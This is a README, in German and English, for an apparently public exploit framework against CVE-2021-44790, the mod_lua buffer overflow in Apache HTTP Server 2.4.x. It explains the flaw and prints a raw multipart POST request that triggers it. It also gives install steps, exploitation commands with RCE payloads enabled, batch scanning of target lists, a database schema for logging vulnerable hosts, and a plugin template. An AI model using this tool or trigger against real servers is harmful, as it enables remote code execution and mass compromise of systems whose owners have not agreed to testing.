
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.
Apache mod_lua Pufferüberlauf-Ausnutzung ist eine fortschrittliche Exploitation-Plattform der Enterprise-Klasse für CVE-2021-44790 – eine kritische Pufferüberlauf-Schwachstelle im mod_lua-Modul des Apache HTTP Servers 2.4.x. Dieses Framework bietet umfassendes Fingerprinting, intelligente Skript-Ermittlung, mehrstufiges Scannen und professionelle Berichtsfunktionen mit 95%+ Erkennungssicherheit.
Die Schwachstelle befindet sich im mod_lua-Modul bei der Verarbeitung von multipart/form-data-Anfragen. Ein Integer-Unterlauf in der Funktion lua_request_parsebody() kann zu einem Heap-basierten Pufferüberlauf führen, der potenziell eine Remote-Code-Ausführung ermöglicht.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| Hauptoberfläche | Fingerprint-Ergebnisse |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.
By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes
Beiträge sind willkommen! Bitte befolgen Sie die folgenden Richtlinien:
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
Nur für Bildungs- und autorisierte Testzwecke
Diese Software wird „wie besehen" bereitgestellt, ohne jegliche ausdrückliche oder stillschweigende Gewährleistung.
⭐ Markieren Sie dieses Repository mit einem Stern, um das Projekt zu unterstützen!
💡 Einen Fehler gefunden? Issue eröffnen
📧 Kontakt: [email protected]
Mit ❤️ für die Sicherheits-Community erstellt
| Funktion | Beschreibung |
|---|
| 🔍 Erweitertes Fingerprinting | Erkennung von Apache-Version, mod_lua, Betriebssystem, Architektur, WAF, CDN, Container und Cloud-Anbieter |
| 🎯 Intelligente Ermittlung | 7+ Ermittlungstechniken, darunter robots.txt, Sitemap, HTML-Parsing und JavaScript-Extraktion |
| 💥 Mehrstufiges Scannen | Verbindung → Fingerprint → Ermittlung → Verifizierung → Exploitation → Berichtserstellung |
| 🧩 Erweiterbares Plugin-System | Einfache Plugin-Entwicklung für zukünftige CVEs |
| 🌐 Intelligente HTTP-Engine | Verbindungspooling, Wiederholungsversuche, HTTP/2-Unterstützung, Ratenbegrenzung |
| 📊 Umfassende Berichte | JSON, HTML, Markdown, PDF mit interaktiven Dashboards |
| 🎨 Attraktive Terminal-Oberfläche | Rich-Bibliothek mit Fortschrittsbalken, Tabellen und farbcodierter Ausgabe |
| 💾 Forschungsdatenbank | SQLite-Speicherung mit vollständigem Scan-Verlauf und Abfrageunterstützung |
| 📸 Screenshot-Erfassung | Automatische Webseiten-Screenshots zur Beweissicherung |
| 🚀 Hohe Leistung | 20+ parallele Threads, 100+ Verbindungspools |
| Attribut | Wert |
|---|
| CVE-ID | CVE-2021-44790 |
| Schwachstelle | Pufferüberlauf (Integer-Unterlauf) |
| Betroffene Software | Apache HTTP Server 2.4.0 bis 2.4.51 |
| Behobene Version | Apache HTTP Server 2.4.52 und später |
| Komponente | mod_lua-Modul |
| Angriffsvektor | Netzwerk (Remote) |
| CVSS-Score | 9.8 (Kritisch) |
| Auswirkung auf Vertraulichkeit | Hoch |
| Auswirkung auf Integrität | Hoch |
| Auswirkung auf Verfügbarkeit | Hoch |
| Exploit-Reife | Proof-of-Concept verfügbar |
| Scan-Fortschritt | HTML-Berichts-Dashboard |
|---|
![]() | ![]() |
| Option | Beschreibung | Beispiel |
|---|
TARGET | Ziel-URL | http://target.com |
--config FILE | Konfigurationsdatei | --config config.yaml |
--threads N | Anzahl der Threads | --threads 30 |
--timeout N | Anfrage-Timeout (Sekunden) | --timeout 15 |
--proxy URL | Proxy-URL | --proxy http://127.0.0.1:8080 |
--verbose | Ausführliche Ausgabe | --verbose |
--scan-only | Scan ohne Exploitation | --scan-only |
--exploit | Exploitation aktivieren | --exploit |
--all-payloads | Alle Payloads verwenden | --all-payloads |
--report FORMAT | Berichtsformat (json/html/markdown/all) | --report all |
--output DIR | Ausgabeverzeichnis | --output /path/to/reports/ |
--research | Forschungsmodus aktivieren | --research |
--database FILE | Datenbankpfad | --database luastorm.db |
--screenshot | Screenshots aufnehmen | --screenshot |
--batch FILE | Batch-Datei mit Zielen | --batch targets.txt |
--query SQL | Datenbankabfrage ausführen | --query "SELECT * FROM targets" |
| Funktion | Leistung |
|---|
| Fingerprinting | < 2 Sekunden |
| Skript-Ermittlung | 5-10 Sekunden |
| Payload-Tests | 1-5 Sekunden pro Payload |
| Berichtserstellung | < 1 Sekunde |
| Datenbankoperationen | < 100 ms |
| Parallele Threads | 20+ |
| Verbindungspool | 100+ |